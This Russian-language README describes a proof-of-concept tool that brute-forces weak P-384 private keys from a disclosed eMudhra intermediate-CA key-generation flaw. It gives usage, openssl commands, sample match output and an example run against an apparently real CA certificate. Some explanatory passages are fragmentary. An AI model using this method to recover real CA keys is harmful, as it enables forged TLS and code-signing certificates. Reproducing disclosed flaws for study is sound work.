
Инструмент proof-of-concept для восстановления приватных ключей EC, затронутых компрометацией ключа промежуточного CA eMudhra в октябре 2026 года (CVE-2026-111943, CVE-2026-111944)
Источник изображения: Forbes India
Инструмент для демонстрации концепции восстановления приватных ключей EC, затронутых компрометацией ключа промежуточного CA eMudhra в октябре 2026 года (CVE-2026-111943, CVE-2026-111944), в ходе которой ошибочная процедура генерации ключей породила тривиально малые приватные скаляры P-384 вместо должным образом случайных 384-битных значений. Там, где уязвимые ключи достаточно малы, ненулевые байты приватного скаляра сосредоточены в последнем байте (или последних нескольких байтах) 384-битного значения, что делает восстановление полным перебором только по открытому ключу вычислительно тривиальным — поиск по 256 значениям на байт вместо поиска порядка ~2^384.
В октябре 2026 года eMudhra раскрыла, что восемь приватных ключей промежуточных центров сертификации (CA) (шесть TLS и два для подписи кода) были скомпрометированы из-за ошибки в скрипте генерации ключей в апреле 2025 года, который порождал тривиально угадываемые ключи.
См. также: emudhra.we-have-a-problem.com
Этот инструмент был создан для понимания и воспроизведения механики этой раскрытой уязвимости: имея открытый ключ уязвимого сертификата и знание того, что соответствующий приватный скаляр является малым целым числом (фактически нулевым во всех байтах, кроме последнего/последних), восстановить приватный ключ полным перебором и проверить его по открытому ключу сертификата.
Это не универсальная атака на приватные ключи ECDSA/EC. Полный перебор скаляра EC-384 в общем случае представляет собой поиск порядка ~2^384 и вычислительно неосуществим. Этот инструмент работает только потому, что конкретный класс уязвимости, на который он нацелен, порождает скаляры, которые не являются равномерно случайными — они представляют собой малые целые числа, то есть почти каждый байт 48-байтного скаляра secp384r1 равен нулю. Именно это сокращает практическое пространство поиска до 256 кандидатов на каждый неизвестный байт.
Если ключ был сгенерирован корректно (равномерно случайный 384-битный скаляр), этот инструмент не сможет его восстановить. Он применим только к сертификатам, затронутым этим классом слабой генерации ключей, или к тестовым ключам, которые вы намеренно создали так, чтобы они их напоминали.
openssl на PATH (скрипт вызывает openssl ec, openssl pkey и openssl x509)
openssl — это LibreSSL, и он не поддерживает
-no_public. Установите OpenSSL 3 через Homebrew (brew install openssl@3) и укажите --openssl на
/opt/homebrew/opt/openssl@3/bin/openssl, если вам нужно извлечь
открытый ключ из только что сгенерированного ключа.usage: emuddler.py [-h] [--openssl OPENSSL] [--start START] [--end END]
[--bootstrap] [--curve CURVE] [--outdir OUTDIR] [-q]
[--der private_key.der] [--cert cert.pem]
options:
-h, --help show this help message and exit
--openssl OPENSSL path to the openssl binary (default: openssl)
--start START override scalar start offset in the DER file
--end END override scalar end offset (exclusive)
--bootstrap generate a fresh key pair and use it as the nopub
input
--curve CURVE curve for --bootstrap (default: secp384r1)
--outdir OUTDIR directory for --bootstrap output (default: .)
-q, --quiet suppress per-iteration output; print only the final
result
--der private_key.der
input key in DER, e.g. ecdsa-secp384r1-key-nopub.der
--cert cert.pem cert PEM to compare the recovered public key
against
--der обязателен, если не задан --bootstrap (в этом случае автоматически используется только что сгенерированный ключ -nopub). --cert необязателен: без него скрипт разбирает DER, выводит смещения скаляров и завершает работу, не выполняя перебор.
python3 emuddler.py --bootstrap --curve secp384r1
Внутри это выполняет:
openssl genpkey -algorithm EC -pkeyopt ec_paramgen_curve:secp384r1 \
-outform DER -out ecdsa-secp384r1-key.der
openssl ec -in ecdsa-secp384r1-key.der -no_public \
-outform DER -out ecdsa-secp384r1-key-nopub.der
создавая ecdsa-secp384r1-key.der (полная пара ключей) и
ecdsa-secp384r1-key-nopub.der (только закрытый ключ, без встроенного открытого
ключа) в --outdir. Для реалистичного тестирования уязвимого сценария
вручную обнулите все байты скаляра, кроме последнего(их), в файле -nopub
перед восстановлением (или используйте --start/--end, чтобы указать инструменту, какие
байты считать неизвестными).
python3 emuddler.py --der ecdsa-secp384r1-key-nopub.der --cert EM-DV-TLS-CA-G3B.crt.pem
Скрипт:
OCTET STRING
внутри ECPrivateKey SEQUENCE), не предполагая фиксированную длину
заголовка, поэтому он работает с разными кривыми и кодировками.0x00–0xff в последнем байте записывает кандидатный DER-ключ,
запускает openssl ec -text -noout для него, выводит открытый ключ с помощью
openssl ec -pubout и сравнивает его (только тело в base64) с
открытым ключом, извлечённым из --cert через openssl x509 -pubkey -noout.python3 emuddler.py --der ecdsa-secp384r1-key-nopub.der --cert EM-DV-TLS-CA-G3B.crt.pem -q
Подавляет весь вывод на каждой итерации и печатает только:
*** MATCH FOUND: last byte = 9c (hex) / 156 (dec) ***
elapsed time to match: 0.842s
или
No match found across 00..ff.
elapsed time: 21.407s
Если автоматический парсер DER когда-либо определит смещения неверно для данного файла (например, при необычной кодировке), или у уязвимого ключа более одного ненулевого байта, вы можете задать диапазон поиска вручную:
python3 emuddler.py --der private_key.der --cert cert.pem --start 7 --end 55
--end является эксклюзивным; байт в --end - 1 — это тот, который
перебирается. Поиск в более широком диапазоне (более одного неизвестного байта) требует
расширения цикла в скрипте для перебора нескольких позиций байтов,
а не только последней.
emuddler.py состоит из небольшого числа частей: